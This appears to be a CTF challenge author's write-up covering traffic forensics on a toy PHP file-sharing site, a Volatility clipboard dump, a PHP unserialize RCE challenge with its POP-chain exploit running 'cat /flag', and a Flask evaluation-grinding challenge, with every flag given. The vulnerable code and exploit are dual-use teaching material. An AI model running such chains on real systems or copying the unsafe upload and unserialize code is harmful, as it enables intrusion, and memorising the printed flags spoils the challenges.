24-01 月赛出题流程

发布于 2024-01-21  0 次阅读


原来那个太长了,下次每次比赛都新开一个文章

怎么全盯着我的题打

Misc

学习资料

题目链接:https://pan.baidu.com/s/1nRWRN8RFGiT0C-KKxgrxvQ?pwd=NEUQ
提取码:NEUQ

因为要做个正经的流量题,就先搓了个网盘出来。有个基本的登录和上传。为了加点难度就又加了个分块

login.php

<?php
session_start();

$users = [
    'MonianHello' => '4754329ac10cc85d257d03775809ebdb'
];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = md5($_POST['password']);

    // 验证用户
    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['username'] = $username;
        header('Location: upload.php');
        exit();
    } else {
        $error_message = '账号或密码有误';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
        }

        h2 {
            text-align: center;
            color: #333;
        }

        form {
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 300px;
        }

        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
        }

        input {
            width: 100%;
            padding: 8px;
            margin-bottom: 12px;
            box-sizing: border-box;
        }

        button {
            background-color: #007BFF;
            color: #fff;
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            width: 100%;
            display: inline-block;
        }

        button:hover {
            background-color: #0056b3;
        }

        p {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <form method="post" action="login.php">
        <h2>网盘登录</h2>
        <?php if (isset($error_message)) : ?>
            <p><?php echo $error_message; ?></p>
        <?php endif; ?>
        <label for="username">用户名:</label>
        <input type="text" id="username" name="username" required>
        <label for="password">密码:</label>
        <input type="password" id="password" name="password" required>
        <button type="submit">登录</button>
    </form>
</body>
</html>

upload.php

<?php
session_start();

// 检查是否登录
if (!isset($_SESSION['username'])) {
    header('Location: login.php');
    exit();
}

// 分块上传
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file']) && isset($_POST['index']) && isset($_POST['totalChunks'])) {
        $targetDirectory = 'uploads/';
        $chunkIndex = (int)$_POST['index'];
        $totalChunks = (int)$_POST['totalChunks'];
        $fileName = $_FILES['file']['name'];
        $targetFile = $targetDirectory . $fileName . '_part_' . $chunkIndex;

        // 移动上传的分块文件
        if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
            // 如果是最后一个分块,合并分块
            if ($chunkIndex === $totalChunks - 1) {
                $outputFile = $targetDirectory . $fileName;
                $outputHandle = fopen($outputFile, 'wb');
                for ($i = 0; $i < $totalChunks; $i++) {
                    $chunkFile = $targetDirectory . $fileName . '_part_' . $i;
                    $chunkData = file_get_contents($chunkFile);
                    fwrite($outputHandle, $chunkData);
                    unlink($chunkFile);
                }
                fclose($outputHandle);
                echo 'File is uploaded successfully.';
            } else {
                echo 'Chunk ' . $chunkIndex . ' of ' . $totalChunks . ' is uploaded successfully.';
            }
        } else {
            echo 'Error uploading chunk ' . $chunkIndex;
        }
        exit();
    }
}

$targetDirectory = 'uploads/';
$files = scandir($targetDirectory);
$files = array_diff($files, array('..', '.')); // 去除 . 和 .. 目录
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>学习资料</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
        }

        .container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            width: 100%;
            max-width: 600px;
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            margin-bottom: 20px;
        }

        h2 {
            text-align: center;
            color: #333;
        }

        form {
            width: 100%;
        }

        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
        }

        input {
            width: calc(100% - 16px);
            padding: 8px;
            margin-bottom: 12px;
            box-sizing: border-box;
        }

        button {
            background-color: #007BFF;
            color: #fff;
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            width: 100%;
            display: inline-block;
        }

        button:hover {
            background-color: #0056b3;
        }

        p {
            color: red;
            text-align: center;
            margin-top: 10px;
        }

        .file-item {
            margin-bottom: 8px;
            color: #555;
        }

        .separator {
            width: 100%;
            height: 1px;
            background-color: #ccc;
            margin: 10px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="file-list">
            <h2>当前文件</h2>
            <?php foreach ($files as $file) : ?>
                <div class="file-item"><?php echo $file; ?></div>
            <?php endforeach; ?>
        </div>

        <div class="separator"></div>

        <form method="post" action="upload.php" enctype="multipart/form-data">
            <?php if (isset($error_message)) : ?>
                <p><?php echo $error_message; ?></p>
            <?php endif; ?>
            <input type="file" id="file" name="file" required>
            <button type="button" onclick="uploadFile()">上传</button>
        </form>
    </div>

    <script>
    async function uploadFile() {
        const fileInput = document.getElementById('file');
        const file = fileInput.files[0];
        const chunkSize = 1024 * 32; // 32KB chunk size
        const totalChunks = Math.ceil(file.size / chunkSize);
        let index = 0;

        async function uploadChunk(start, end) {
            const formData = new FormData();
            const chunk = file.slice(start, end);
            const fileName = file.name;  // 获取文件名
            formData.append('file', chunk, fileName); // 设置文件名
            formData.append('index', index);
            formData.append('totalChunks', totalChunks);

            try {
                const response = await fetch('upload.php', {
                    method: 'POST',
                    body: formData,
                });

                if (response.ok) {
                    console.log(await response.text());

                    if (index < totalChunks - 1) {
                        index++;
                        uploadChunk(end, end + chunkSize);
                    }
                } else {
                    console.error('Error uploading chunk ' + index);
                }
            } catch (error) {
                console.error('Error uploading chunk ' + index + ': ' + error);
            }
        }

        await uploadChunk(0, chunkSize);
    }
</script>

</body>
</html>

当然/uploads放了点真家伙进去

Mode                 LastWriteTime  Name

----                 -------------  ----

-a----        2023/12/21     20:20  9 -Nine- New Episode.rar
-a----        2023/12/21     20:20  9-nine-九次九日九重色.rar
-a----        2023/12/21     20:20  9-nine-天色天歌天籁音.rar
-a----        2023/12/21     20:19  9-nine-春色春恋春熙风.rar
-a----        2023/12/21     20:20  9-nine-雪色雪花雪余痕.rar
-a----        2023/12/22     17:48  flag2.zip
-a----        2023/12/22     17:48  flag3.png
-a----        2023/12/21     20:19  出会って5分は俺のもの!時間停止と不可避な運命.zip
-a----        2023/12/22     16:12  千恋*万花.rar
-a----        2023/12/21     20:21  少女理论及其之后的周边.rar
-a----        2023/12/21     20:21  少女理论及其周边 -Ecole de Paris-.rar
-a----        2023/12/22     16:12  樱之诗 - 在樱花之森上飞舞.7z
-a----        2023/12/21     20:18  灵感满溢的甜蜜创想.zip
-a----        2023/12/21     20:18  灵感满溢的甜蜜创想凸.zip
-a----        2023/12/21     20:22  近月少女的礼仪2.rar
-a----        2023/12/21     20:21  魔女的夜宴.rar

之后就是经典分割商法,一道题拆三个问:

学习资料(1)

我登录学习资料网盘的密码是什么来着...

flag以level1开头

有登录嘛,包里找一下login.php就行,或者直接搜 level1 / flag{ 都能找得到

这题也是除了签到解最多的一个

POST /Netdisk/login.php HTTP/1.1
Host: 192.168.13.1
Connection: keep-alive
Content-Length: 83
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.13.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.51
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.13.1/Netdisk/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=med2rv1hdste5tucgesr0spip2

username=MonianHello&password=flag%7Blevel1-ec89bcd8-273b-4643-9436-aabff65b1a5c%7D

flag{level1-ec89bcd8-273b-4643-9436-aabff65b1a5c}

学习资料(2)

不小心把flag2传上去了喵

附件见学习资料(1),flag以level2开头

上传去找POST/upload.php的流量,能看到传了个flag2.zip

POST /Netdisk/upload.php HTTP/1.1
Host: 192.168.13.1
Connection: keep-alive
Content-Length: 602
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.51
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydqnmF8rhMtDh9GGD
Accept: */*
Origin: http://192.168.13.1
Referer: http://192.168.13.1/Netdisk/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=med2rv1hdste5tucgesr0spip2

------WebKitFormBoundarydqnmF8rhMtDh9GGD
Content-Disposition: form-data; name="file"; filename="flag2.zip"
Content-Type: application/octet-stream

PK...........W8q]E=...b...  ...flag2.txt...
.0..nj.8.;[..aLH`.P_.3O.G........\..,.B..5t..
.,..q(.
...PK..?..........W8q]E=...b... .$....... .......flag2.txt
. ..............4..................PK..........[...d.....
------WebKitFormBoundarydqnmF8rhMtDh9GGD
Content-Disposition: form-data; name="index"

0
------WebKitFormBoundarydqnmF8rhMtDh9GGD
Content-Disposition: form-data; name="totalChunks"

1
------WebKitFormBoundarydqnmF8rhMtDh9GGD--
HTTP/1.1 200 OK
Date: Fri, 22 Dec 2023 09:48:13 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.4.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1e
File is uploaded successfully.
0

数据提出来,拿到压缩包。其中flag2.txt里是HEX编码过的flag2

666c61677b6c6576656c322d65393663636333612d316437332d343935662d383163642d3931353662353334666362347d => flag{level2-e96ccc3a-1d73-495f-81cd-9156b534fcb4}

flag{level2-e96ccc3a-1d73-495f-81cd-9156b534fcb4}

学习资料(3)

今年也绮良绮良~

附件见学习资料(1),flag以level3开头

最开始也提到过,要加难度就做了个分块上传。因为我把部分处理放在了前端js里,细心看的话能看出来是分块。

    async function uploadFile() {
        const fileInput = document.getElementById('file');
        const file = fileInput.files[0];
        const chunkSize = 1024 * 32; // 32KB chunk size
        const totalChunks = Math.ceil(file.size / chunkSize);
        let index = 0;

        async function uploadChunk(start, end) {

            ...

在提交的POST请求(http.request.method == POST)中,我们想要提取的文件部分都长这样:

Content-Disposition: form-data; name="file"; filename="flag3.png"
Content-Type: application/octet-stream
...
PNG文件
...
------WebKitFormBoundary

换句话说,我们想要提取出这个文件,匹配这两段文字间的所有内容就可以了。

start_pattern = b'Content-Disposition: form-data; name="file"; filename="flag3.png"\r\nContent-Type: application/octet-stream\r\n\r\n'
# "436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22666C6167332E706E67220D0A436F6E74656E742D547970653A206170706C69636174696F6E2F6F637465742D73747265616D0D0A0D0A"
end_pattern = b'\r\n------'
# "0D0A2D2D2D2D2D2D"

with open('cat.bin', 'rb') as file:
    binary_data = file.read()
    extracted_data_list = []
    start_index = 0
    while True:
        # 定位首索引
        start_index = binary_data.find(start_pattern, start_index)
        if start_index == -1:
            break

        # 定位末索引
        end_index = binary_data.find(end_pattern, start_index + len(start_pattern))
        if end_index == -1:
            break

        # 提取数据
        start_index += len(start_pattern)
        extracted_data = binary_data[start_index:end_index]
        print("已提取 0x{:08x} - 0x{:08x} 此区块大小 {}bytes".format(start_index,end_index,end_index-start_index))
        extracted_data_list.append(extracted_data)

        # 更新首索引
        temp = start_index
        start_index = end_index + len(end_pattern)
        print("首索引已更新 0x{:08x} -> 0x{:08x}".format(temp,start_index))
    extracted_data = b"".join(extracted_data_list)
    with open('extracted_data.png', 'wb') as output_file:
        output_file.write(extracted_data)

其中cat.bintcp.stream eq 2这个TCP流的转储文件(右键-追踪流-另存为),不能直接拿流量包。

已提取 0x000002cd - 0x000082cd 此区块大小 32768bytes
首索引已更新 0x000002cd -> 0x000082d5
已提取 0x00008849 - 0x00010849 此区块大小 32768bytes
首索引已更新 0x00008849 -> 0x00010851

...

已提取 0x001ec689 - 0x001f4689 此区块大小 32768bytes
首索引已更新 0x001ec689 -> 0x001f4691
已提取 0x001f4c06 - 0x001f743e 此区块大小 10296bytes
首索引已更新 0x001f4c06 -> 0x001f7446

可以看到除了最后一个分块剩下都是32kb,和前端那段js是一致的。最后flag就在绮良良的快递箱上。

这题我还想看看大家的exp都怎么写的,看完wp发现都是手搓的。

这题手搓倒是无可厚非,毕竟不用全拼完,到一半多就能看到flag了。让我觉得邪门的还在后面呢。

flag{level3-Kirara}

剪切板的秘密

内存取证入门

链接:https://pan.baidu.com/s/1DCXE91eFVeZdDouKsLvZfA?pwd=NEUQ

压缩包密码:1195c9eb-2766-401c-85c4-5833a4dee9aa

看info查出来是WinXPSP2x86,之后直接看剪切板。会用volatility就可以。

我看wp里有人直接全局搜索也拿到了,这我倒是头一回知道。

E:\CTF\2022-08 CTF\volatility_2.6_win64_standalone>volatility.exe -f memdump.mem --profile=WinXPSP2x86 clipboard
Volatility Foundation Volatility Framework 2.6
Session    WindowStation Format                 Handle Object     Data

---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
         0 WinSta0       0xc009L               0xe0083 0xe1b888e0
         0 WinSta0       CF_UNICODETEXT        0x8007d 0xe1a58a78 flag{b82d5f25-665c-4352-8016-e887fb50784f}
         0 WinSta0       0xc013L               0x4006b 0xe1a47c58
         0 WinSta0       CF_LOCALE            0x18007b 0xe1a53350
         0 WinSta0       CF_TEXT                   0x1 ----------
         0 WinSta0       CF_OEMTEXT                0x1 ----------

flag{b82d5f25-665c-4352-8016-e887fb50784f}

Web

反序列化

反序列化,就这么简单

题目:

<?php

error_reporting(0);

class A{
    public $hhh;
    private $aaa;

    public function __toString()
    {
        $this->hhh->aaa($this->aaa);
        return "win";
    }

}
class AA {
    public $qqq;
    public function __destruct()
    {
        return $this->qqq."hello";
    }
}
class AAA{
    public $num;
    public function __call($name, $arguments)
    {
        system($arguments[$this->num][$name]);
    }

}
$data=$_POST['NEUQCSA'];
if (isset($data)){
    unserialize($data);
}
else{
    highlight_file(__FILE__);
}

exp(有些echo是调试时用的):

<?php

class A{
    public $hhh;
    public $aaa = array("aaa"=>"cat /flag");
    public function hack(){
        $this->hhh = new AAA();
        echo "Ahack<br/>";
    }
    public function __toString()
    {
        $this->hhh->aaa($this->aaa);
        return "win";
    }
}
class AA {
    public $qqq;

    public function hack(){
        $this->qqq = new A();
        $this->qqq->hack();
        echo "AAhack<br/>";
    }
    public function __destruct()
    {
        echo $this->qqq."hello";
        return $this->qqq."hello";
    }
}
class AAA{
    public $num=0;
    public function __call($name, $arguments)
    {
        echo "AAAhack<br/>";
        var_dump($arguments);
        echo "<br/>this->num:".$this->num;
        echo "<br/>name:".$name;
        // system($arguments[$this->num][$name]);
        echo("<br/>final:system(".$arguments[$this->num][$name].")");
    }
}

$BB = new AA();
$BB->hack();

echo urlencode(serialize($BB));

大概就这几点:

  1. __toString()魔术方法在对象被当做字符串使用时触发,也就是$this->qqq拼接"hello"那里。

  2. 我们要RCE的这一段system($arguments[$this->num][$name]);有两个[],参数必须是个数组才可以取值再RCE。

  3. 刚才那个参数数组必须是关联数组,关联数组可以不使用 ID 键(数字)获取数组内容:public $aaa = array("aaa"=>"cat /flag");

  4. 静态属性只能使用文字或常量进行初始化,不允许用表达式。比如为了$this->hhh = new AAA();必须得再写个方法给他赋值。可以用构造函数,也可以自己调用,或者全都放在外面去赋值,就是不能直接写在类里面。

没什么需要特别注意的,反序列化基础题目。

flag{e06ba580-e0ea-4ab3-b507-03d5b8af5170}

量化评教

环境:http://monianbox.top:7724/
前端的源码和数据库不放了,有需要的单独管我要吧。

这题期末周就在写,是出的最久的一个。为了拿到所有课程又写了个爬虫,算上什么毕业论文课程设计加一起1000来个,把刚才说的那些删了也有800多。这里简单放几条:

课程编号,课程名称(中文),课程名称(英文),课程学时,课程学分,学期,课程类型
3060111103,高等数学 B(一),Advanced Mathematics B(I),80,5,1,必修
3060111104,高等数学 B(二),Advanced Mathematics B(II),80,5,2,必修
3060111202,线性代数 B,Linear Algebra B,40,2.5,2,必修
3060111302,概率论与数理统计 B,Probability and Statistics B,40,2.5,3,必修
3060111401,数学实验,Mathematics Experiment,32,2,3,选修
4040111001,大学计算机基础,Fundamentals of College Computer,32,2,1,必修
4040111003,C 语言程序设计,C Language Programming,48,3,2,选修
3080111010,中国近现代史纲要,Essentials of Chinese Modern History,48,3,2,必修
3080111011,马克思主义基本原理,Marxism General Principle,48,3,1,必修
3080111012,毛泽东思想和中国特色社会主义理论体系概论,Fundamentals of Mao Zedong Thoughts and Socialism with Chinese Characteristics,80,5,4,必修
3080211010,思想道德与法治,Ethics and Fundamental of Law,48,3,1,必修
3080211011,形势与政策,Situation and Policy,32,2,1-4,必修

之后是传统艺能,抄。

不过抄也不好抄,网页弄了好几个小时。前端也不容易啊。

    ...
    <link href="./stdEvaluate.action_files/bootstrap-datetimepicker.min.css" rel="stylesheet" type="text/css">
    <!-- <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" type="text/css"> -->
    <!--为了这几个图标我折腾了两个小时,最开始以为是个图片,结果是个叫bootstrap的字体,真是长见识了-->
    <link href="./stdEvaluate.action_files/bootstrap.css" rel="stylesheet" type="text/css">
    ...

app.py

from flask import Flask, render_template, jsonify, request,session
import random
import pandas as pd
import pickle
import uuid

app = Flask(__name__, static_folder='templates/stdEvaluate.action_files', template_folder='templates')
app.secret_key = flag = "flag{472aa9fb-ded1-4ded-ac12-85c13a53df1e}"

data = pd.read_csv('data.csv')
course_numbers = data['课程编号'].tolist()
course_names_chinese = data['课程名称(中文)'].tolist()
course_types = data['课程类型'].tolist()

table_headers = ["课程序号", "课程名称", "课程类别", "教师", "问卷名称", "操作"]

def remove_evaluation_process(remove_num):

    filename = 'user_data.pkl'
    user_data_list = []
    try:
        with open(filename, 'rb') as file:
            while True:
                user_data = pickle.load(file)
                if user_data['userid'] == session['userid']:
                    if remove_num not in user_data['evaluation_process']:
                        raise ValueError("你已经评价过该教师或你并未选择这门课程")
                    user_data['evaluation_process'].remove(remove_num)
                user_data_list.append(user_data)
    except (FileNotFoundError, EOFError):
        pass
    with open(filename, 'wb') as file:
        for user_data in user_data_list:
            pickle.dump(user_data, file)

def get_evaluation_process(user_id):
    filename = 'user_data.pkl'
    try:
        with open(filename, 'rb') as file:
            while True:
                user_data = pickle.load(file)
                if user_data['userid'] == user_id:
                    # print(user_data.get('evaluation_process', []))
                    return user_data.get('evaluation_process', [])
    except (FileNotFoundError, EOFError):
        return []

def generate_random_data():
    table_content = []
    if 'userid' not in session:
        session['userid'] = str(uuid.uuid4())
        evaluation_process = random.sample(range(len(course_numbers)), 500)

        for num in evaluation_process:
            num_choice = course_numbers[num]
            name_choice = course_names_chinese[num]
            type_choice = course_types[num]
            herf = r"""<a href="/evaluate?num=""" + str(num_choice)+""""</a>编辑"""
            teacher = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈','褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许','何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏','陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章','云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦'][num % 50] + '老师'
            row = [num_choice, name_choice, type_choice, teacher, '评教', herf ]
            table_content.append(row)
            user_data = {'userid': session['userid'], 'evaluation_process': evaluation_process}
        with open(f'user_data.pkl', 'ab') as file:
            pickle.dump(user_data, file)
    else:
        evaluation_process = get_evaluation_process(session['userid'])
        for num in evaluation_process:
            num_choice = course_numbers[num]
            name_choice = course_names_chinese[num]
            type_choice = course_types[num]
            herf = r"""<a href="/evaluate?num=""" + str(num_choice)+""""</a>编辑"""
            teacher = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈','褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许','何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏','陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章','云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦'][num % 50] + '老师'
            row = [num_choice, name_choice, type_choice, teacher, '评教', herf ]
            table_content.append(row)
    return table_content

@app.route('/')
def index():
    try:
        table_content = generate_random_data()
        return render_template('stdEvaluate.action.html', headers=table_headers, content=table_content)
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})

@app.route('/evaluate', methods=['GET'])
def evaluate():
    try:
        if 'userid' not in session:
            return jsonify({'status': 'error','message':"cookie呢?让你吃没了吗?"})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})
    try:
        table_content = str(request.args["num"])
        result = data.loc[data['课程编号'] == int(table_content)]
        if result.empty:
            return  render_template('404.html')
        return render_template('stdEvaluate.action2.html', course_name_chinese_data=result['课程名称(中文)'].values[0], course_num_data=table_content)
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})
@app.route('/update', methods=['POST'])
def update_session():
    try:
        if 'userid' not in session:
            return jsonify({'status': 'error','message':"cookie呢?让你吃没了吗?"})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})
    try:
        #判断
        num = course_numbers.index(int(request.form["id"]))
        teacher = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈','褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许','何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏','陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章','云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦'][num % 50] + '老师'
        result = data.loc[data['课程编号'] == int(request.form["id"])]
        if(teacher.strip()!=request.form["teacherName"].strip()):
            return jsonify({'status': 'failed','message':"您的教师名称有误"})
        if(result['课程名称(中文)'].values[0].strip()!=request.form["courseName"].strip()):
            return jsonify({'status': 'failed','message':"您的课程名称有误"})
        # print(request.form)
        # return jsonify({'status': 'test','data':request.form,'result':result['课程名称(中文)'].values[0]})
        #如果上面全都通过了
        remove_evaluation_process(num)
        return jsonify({'status': 'success'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})
@app.route('/flag', methods=['GET'])
def get_flag():
    try:
        if 'userid' not in session:
            return jsonify({'status': 'error','message':"cookie呢?让你吃没了吗?"})
        if(len(get_evaluation_process(session['userid'])) > 0):
            return jsonify({'status': 'failed','message':"你未完成查询本学期评教任务,因此当前时间不可以查询flag。\n剩余{}门课程".format(len(get_evaluation_process(session['userid'])))})
        else:
            return jsonify({'status': 'success','message':flag})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)})

if __name__ == '__main__':
    app.run(debug=True,host="0.0.0.0")
  • 生成500个不重复的课程后把课程编号存成数组,数组和cookie再绑在一起。
  • 通过/update路由获取评教内容,教师姓名和课程都对的上就把这门课删下去。
  • 最后/flag路由判断数组是否为空,空代表你评教评完了把flag给你。

想过加验证码,但是没想好用什么形式。最后就用教师姓名当验证码了

exp:

import requests
import re
import time
url = "http://monian.one:7724"

# 1 获取session

received_cookie = requests.get(url).cookies.get('session')
headers = {"Cookie": "session={}".format(received_cookie),}
print(received_cookie)

# 2 获取评教全部内容

matches = [[match[0], match[1], match[3]] for match in re.compile(r'<td>(\d+)</td>\s+<td>(.*?)</td>\s+<td>(.*?)</td>\s+<td>(.*?)</td>\s+<td>(.*?)</td>', re.DOTALL).findall(requests.get(url, headers=headers).text)]
print(matches)

# 3 遍历列表发送数据
count = 0
for i in matches:
    data = {
        "teacherName": i[2],
        "courseName": i[1],
        "rating": "5",
        "comments": "谢谢你",
        "id": i[0],
    }
    try:
        response = requests.post(url+"/update", headers=headers, data=data)
    except:
        time.sleep(5)
        response = requests.post(url+"/update", headers=headers, data=data)
    count += 1
    print(count,"/",len(matches))
    print(i)
    print(response.text)
    time.sleep(1)

# 4 拿flag

print(requests.get(url+"/flag", headers=headers).text)

try-except那段是怕打太快网站死了,错误抑制可以写的再细一点。

为了自动化,评教内容用的是正则提取,直接在浏览器里全选复制效率也挺高的

500个总不至于手点了吧?

蓝的盆


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界